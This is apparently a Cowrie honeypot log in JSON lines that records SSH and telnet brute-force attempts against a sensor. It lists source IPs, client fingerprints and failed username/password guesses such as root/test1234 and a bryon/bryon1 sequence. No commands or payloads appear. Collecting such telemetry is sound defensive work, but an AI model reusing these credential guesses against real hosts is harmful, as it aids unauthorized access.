{"eventid":"cowrie.session.closed","duration":0.0053920745849609375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:38.087874Z","src_ip":"192.119.13.58","session":"abb7538800a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.73094987869263,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:38.205223Z","src_ip":"192.119.13.58","session":"c133a2ea1bb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":39544,"dst_ip":"10.17.0.5","dst_port":22,"session":"f69e9b227f19","protocol":"ssh","message":"New connection: 45.153.34.112:39544 (10.17.0.5:22) [session: f69e9b227f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:38.245591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:38.250425Z","src_ip":"45.153.34.112","session":"f69e9b227f19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:38.334824Z","src_ip":"45.153.34.112","session":"f69e9b227f19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:38.586817Z","src_ip":"45.153.34.112","session":"f69e9b227f19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.830323219299316,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:38.634579Z","src_ip":"192.119.13.58","session":"20bc9e241da7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59130,"dst_ip":"10.17.0.5","dst_port":23,"session":"6abf00ce2ea5","protocol":"telnet","message":"New connection: 192.119.13.58:59130 (10.17.0.5:23) [session: 6abf00ce2ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:39.654082Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:39.673617Z","src_ip":"45.153.34.112","session":"f69e9b227f19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.251.244.178","src_port":58014,"dst_ip":"10.17.0.5","dst_port":22,"session":"732b66a23f13","protocol":"ssh","message":"New connection: 106.251.244.178:58014 (10.17.0.5:22) [session: 732b66a23f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:41.700267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:41.704304Z","src_ip":"106.251.244.178","session":"732b66a23f13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:41.909643Z","src_ip":"106.251.244.178","session":"732b66a23f13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40048,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9a8c8b75189","protocol":"ssh","message":"New connection: 45.153.34.112:40048 (10.17.0.5:22) [session: b9a8c8b75189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:41.984058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:41.988622Z","src_ip":"45.153.34.112","session":"b9a8c8b75189","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:42.071337Z","src_ip":"45.153.34.112","session":"b9a8c8b75189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"x","password":"1","message":"login attempt [x/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:42.316901Z","src_ip":"45.153.34.112","session":"b9a8c8b75189","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":50941,"dst_ip":"10.17.0.5","dst_port":22,"session":"170d0fd7ad41","protocol":"ssh","message":"New connection: 45.66.52.41:50941 (10.17.0.5:22) [session: 170d0fd7ad41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:42.643784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:42.648378Z","src_ip":"45.66.52.41","session":"170d0fd7ad41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqqq1111","message":"login attempt [root/qqqq1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:42.765420Z","src_ip":"106.251.244.178","session":"732b66a23f13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:42.871325Z","src_ip":"45.66.52.41","session":"170d0fd7ad41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:43.401082Z","src_ip":"45.153.34.112","session":"b9a8c8b75189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tty0","message":"login attempt [root/tty0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:43.614004Z","src_ip":"45.66.52.41","session":"170d0fd7ad41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:43.974807Z","src_ip":"106.251.244.178","session":"732b66a23f13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.02785086631775,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:44.121810Z","src_ip":"192.119.13.58","session":"057ddb08df2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":33255,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6125f5c89d6","protocol":"ssh","message":"New connection: 213.209.159.56:33255 (159.203.135.109:22) [session: b6125f5c89d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:44.217245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:44.221999Z","src_ip":"213.209.159.56","session":"b6125f5c89d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:44.304502Z","src_ip":"213.209.159.56","session":"b6125f5c89d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.404324531555176,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:44.560845Z","src_ip":"192.119.13.58","session":"b49b4c2b2ada","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"bryon","password":"bryon","message":"login attempt [bryon/bryon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:44.704332Z","src_ip":"213.209.159.56","session":"b6125f5c89d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:44.795966Z","src_ip":"45.66.52.41","session":"170d0fd7ad41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40050,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ab690e5df07","protocol":"ssh","message":"New connection: 45.153.34.112:40050 (10.17.0.5:22) [session: 9ab690e5df07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:45.505132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:45.510457Z","src_ip":"45.153.34.112","session":"9ab690e5df07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:45.596620Z","src_ip":"45.153.34.112","session":"9ab690e5df07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bryon","password":"bryon1","message":"login attempt [bryon/bryon1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:45.794282Z","src_ip":"213.209.159.56","session":"b6125f5c89d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pool","password":"pool","message":"login attempt [pool/pool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:45.842298Z","src_ip":"45.153.34.112","session":"9ab690e5df07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58184,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ca3e97e8cfe","protocol":"telnet","message":"New connection: 192.119.13.58:58184 (10.17.0.5:23) [session: 7ca3e97e8cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:46.287336Z"}
{"eventid":"cowrie.login.failed","username":"bryon","password":"bryon123","message":"login attempt [bryon/bryon123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:46.880482Z","src_ip":"213.209.159.56","session":"b6125f5c89d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:46.971288Z","src_ip":"45.153.34.112","session":"9ab690e5df07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33750,"dst_ip":"10.17.0.5","dst_port":23,"session":"de243151f636","protocol":"telnet","message":"New connection: 192.119.13.58:33750 (10.17.0.5:23) [session: de243151f636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:47.091272Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.68.83.105","src_port":41814,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fd60a555a7d","protocol":"ssh","message":"New connection: 186.68.83.105:41814 (10.17.0.5:22) [session: 6fd60a555a7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:47.120670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:47.125470Z","src_ip":"186.68.83.105","session":"6fd60a555a7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.9636435508728,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:47.179110Z","src_ip":"192.119.13.58","session":"05ebc94a93b0","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:47.216076Z","src_ip":"186.68.83.105","session":"6fd60a555a7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35876,"dst_ip":"10.17.0.5","dst_port":23,"session":"12cea17002f4","protocol":"telnet","message":"New connection: 192.119.13.58:35876 (10.17.0.5:23) [session: 12cea17002f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:47.511151Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"baptiste","message":"login attempt [root/baptiste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:47.604100Z","src_ip":"186.68.83.105","session":"6fd60a555a7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.11755895614624,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:47.813722Z","src_ip":"192.119.13.58","session":"c5a3c0fbeab5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"bryon","password":"bryon1234","message":"login attempt [bryon/bryon1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:47.965225Z","src_ip":"213.209.159.56","session":"b6125f5c89d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:48.696115Z","src_ip":"186.68.83.105","session":"6fd60a555a7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40062,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e5d5db7ed5f","protocol":"ssh","message":"New connection: 45.153.34.112:40062 (10.17.0.5:22) [session: 5e5d5db7ed5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:49.004255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:49.015094Z","src_ip":"45.153.34.112","session":"5e5d5db7ed5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bryon","password":"bryon12345","message":"login attempt [bryon/bryon12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:49.049796Z","src_ip":"213.209.159.56","session":"b6125f5c89d6","protocol":"ssh"}
